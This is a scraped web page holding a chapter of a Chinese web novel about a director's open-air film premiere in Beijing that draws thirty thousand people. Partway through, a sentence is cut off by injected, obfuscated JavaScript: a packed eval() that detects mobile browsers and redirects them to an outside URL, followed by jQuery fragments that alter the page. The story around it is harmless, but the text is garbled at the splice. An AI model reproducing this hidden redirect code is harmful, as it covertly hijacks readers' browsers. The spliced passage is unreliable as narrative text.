99.首映礼在露天广场,来了三万人

作品:《我在娱乐圈苟到了终点

    2月8日,北京,零下五度。


    奥林匹克广场中央,搭起了一座高十五米、宽二十八米的巨型银幕。


    银幕前,摆着三千把塑料椅——这是沈小鱼能筹措到的全部。


    下午四点,她带着团队到现场做最后检查。


    “音响没问题。”


    “投影测试通过。”


    “备用发电机就位。”


    对讲机里传来各个岗位的汇报。


    沈小鱼站在银幕前,抬头看着这座庞然大物,手心在冒汗。


    “沈导,”


    许昕走过来,裹着厚厚的羽绒服,声音有点抖,“您说……会有人来吗?”


    今天不是周末,天气很冷,地点在户外,而且——电影已经在网上泄露了。


    所有理性分析都显示:可能来不了多少人。


    沈小鱼没回答。


    她也不知道。


    五点半,天开始暗下来。


    广场上零星来了几个人,大多是好奇围观的路人。


    工作人员引导他们坐下,发暖宝宝和热姜茶——这是沈小鱼自费准备的。


    三千个座位,空了三分之二。


    陆青然站在控制台边,脸色越来越白:


    “沈导,要不要……联系些媒体朋友来撑场?”


    “不用。”


    沈小鱼说,“该来的,会来。”


    六点,天完全黑了。


    广场四周的灯亮起来,把银幕照得雪亮。


    座位区还是稀稀拉拉。


    许昕低下头,手指绞在一起。


    陆青然点燃第三支烟。


    李强盯着监控屏幕,一言不发。


    就在沈小鱼也开始动摇时——


    对讲机里突然传来安保组长激动的声音:“沈导!快看东边入口!”


    沈小鱼转过头。


    然后她看见了——


    人群。


    不是几个人,不是几十个人。


    是潮水一样的人群,从地铁口涌出来,从公交站走过来,从四面八方汇聚过来。


    他们穿着羽绒服,戴着帽子围巾,手里举着手机照明,像一条条光的溪流,汇入广场这片海洋。


    “西边入口也来了好多人!”


    “北边也是!”


    “南边……我的天,南边排到马路对面了!”


    对讲机里的声音一个接一个,带着难以置信的激动。


    三千个座位,在十分钟内坐满了。


    然后人们开始坐在台阶上,坐在花坛边,坐在一切能坐的地方。


    广场的设计容量是一万人。


    但人还在不断涌进来。


    一万五。


    两万。


    两万五……


    “沈导,”安保组长的声音在发抖,“广场要超负荷了……要不要限制入场?”


    沈小鱼看着眼前的人海。


    这些陌生的面孔,在寒冷的冬夜里,呼出白气,搓着手,跺着脚,但眼睛都亮晶晶地看着银幕。


    他们中,有年轻人,有中年人,有老人带着孩子。


    有人举着自制的牌子,上面写着:


    “《野草》支持者,从杭州来。”


    另一个牌子上写:


    “看了三遍泄露版,今天来补票。”


    还有一个孩子骑在父亲肩膀上,手里举着一张画——画的是许昕在电影里的样子,歪歪扭扭,但很用心。


    沈小鱼的眼泪涌上来。


    她抓起对讲机:


    “不限制。让他们进。”


    “可是安全……”


    “打开所有应急通道,增加安保人员,准备医疗点。”


    沈小鱼的声音很稳,“但不要赶走任何一个人。他们来了,就是客人。”


    她顿了顿,补了一句:


    “还有,通知后勤组——姜茶和暖宝宝,加倍供应。钱从我账上扣。”


    七点整。


    广场上已经聚集了超过三万人。


    黑压压的人头,在夜色中绵延开去,望不到边。


    呼出的白气汇成一片薄雾,在灯光下缓缓升腾。


    没有喧哗,没有吵闹。


    只有三万人安静的呼吸声,和偶尔的咳嗽声。


    沈小鱼走到银幕前的小舞台上。


    聚光灯打在她身上。


    她拿起话筒,手在抖。


    “大家……”


    她开口,声音通过巨大的音响传遍广场,“晚上好。”


    “好——”


    三万人齐声回应,声浪如潮。


    沈小鱼的眼泪瞬间掉下来。


    她抹了把脸,继续说:


    “谢谢你们来。这么冷的天,这么多人……谢谢。”


    她深深鞠躬。


    台下响起掌声,起初是零星的,然后连成一片,最后变成雷鸣。


    沈小鱼直起身:


    “我知道,很多人已经看过泄露版了。但你们还是来了。”


    “来了!”台下有人喊。


    “为什么?”沈小鱼问。


    人群中安静了几秒。


    然后一个女


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079776|193092||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    声响起:“因为好电影,值得被认真对待!”


    又一个男声:“因为要告诉所有人,我们想看这样的电影!”


    一个老人的声音:“因为……不能寒了你们的心。”


    沈小鱼站在台上,泣不成声。


    她平复了很久,才说:


    “那……就让我们一起,看这部电影吧。”


    “看——”三万人齐声应道。


    灯光暗下。


    银幕亮起。


    龙标出现。


    然后是第一行字:“本片由八万七千四百五十三位观众众筹支持。”


    掌声再次响起,经久不息。


    电影开始。


    三个小时。


    零下五度的冬夜。


    三万人坐在露天广场。


    没有人提前离场。


    没有人交头接耳。


    只有风吹过广场的声音。


    和隐约的、此起彼伏的抽泣声。


    当许昕饰演的女主角在暴雨中奔跑时,台下传来了压抑的哭声。


    当她说出那句“我偏要长出来”时,全场安静得能听见针掉地的声音。


    当最后一个镜头——她走进黑暗,背影消失在废墟中——银幕变黑。


    片尾字幕缓缓升起。


    没有音乐,只有风声。


    然后,第一排有人站了起来。


    接着是第二排,第三排……


    像推倒的多米诺骨牌,三万人一个接一个站起来。


    没有人说话。


    只有掌声。


    起初是克制的,然后越来越响,最后汇聚成震耳欲聋的声浪,在冬夜的广场上回荡,冲上夜空。


    十分钟。


    掌声持续了整整十分钟。


    沈小鱼站在台侧,看着这一幕。


    许昕在她旁边,哭成了泪人。


    陆青然蹲在地上,抱着头。


    李强仰着脸,任由眼泪流进脖子里。


    沈小鱼没有哭。


    她只是看着。


    把这些画面,这些声音,这些面孔,一寸一寸刻进心里。


    然后她走上台。


    聚光灯再次打在她身上。


    她举起话筒,说了今晚最后一句话:


    “电影,还给你们了。”


    说完,她再次深深鞠躬。


    再抬头时,她看见——


    台下,三万人齐刷刷地,向她鞠躬。


    人与人之间,隔着银幕,隔着镜头,隔着光影。


    但这一刻,没有距离。